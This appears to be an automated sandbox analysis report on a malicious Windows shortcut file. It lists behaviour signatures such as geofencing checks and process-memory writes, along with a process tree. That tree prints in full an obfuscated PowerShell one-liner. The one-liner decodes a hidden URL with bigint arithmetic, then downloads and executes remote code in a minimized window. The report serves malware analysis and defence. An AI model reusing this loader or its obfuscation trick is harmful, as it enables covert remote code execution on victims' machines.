Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/07/2026, 11:42

General

  • Target
    photov_027853836618.lnk
  • Size 2KB
  • Sample260729-nvgrragb56
  • SHA256 89bbe55122ce05afb464aa7ff33eb488356a25644563b99aa431651747bfb939
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_027853836618.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:412
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$teny4=48;$x5x_vb3di8=[bigint]::Parse('593210001843820213541070631177207286');$klyr1abkl7=[bigint]::Parse('42911385721246346013362028370573');$x5x_vb3di8=$x5x_vb3di8-$klyr1abkl7;$pj80e=@();while($x5x_vb3di8 -gt 0){$pj80e+=[char][int]([bigint]::Remainder($x5x_vb3di8,256));$x5x_vb3di8=[bigint]::Divide($x5x_vb3di8,256)};.([scriptblock]::Create((irm(-join$pj80e))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Minimized -c "$teny4=48;$x5x_vb3di8=[bigint]::Parse('593210001843820213541070631177207286');$klyr1abkl7=[bigint]::Parse('42911385721246346013362028370573');$x5x_vb3di8=$x5x_vb3di8-$klyr1abkl7;$pj80e=@();while($x5x_vb3di8 -gt 0){$pj80e+=[char][int]([bigint]::Remainder($x5x_vb3di8,256));$x5x_vb3di8=[bigint]::Divide($x5x_vb3di8,256)};.([scriptblock]::Create((irm(-join$pj80e))))"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3492

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_1tz11gkk.bqf.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1tz11gkk.bqf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3492-1-0x00007FFD3CD70000-0x00007FFD3D039000-memory.dmp

        memory/3492-0-0x00007FFD3CD70000-0x00007FFD3D039000-memory.dmp

        memory/3492-8-0x0000022AC8BD0000-0x0000022AC8BF2000-memory.dmp

        memory/3492-10-0x00007FFD3CD70000-0x00007FFD3D039000-memory.dmp

        memory/3492-11-0x00007FFD3CD70000-0x00007FFD3D039000-memory.dmp

        memory/3492-14-0x00007FFD3CD70000-0x00007FFD3D039000-memory.dmp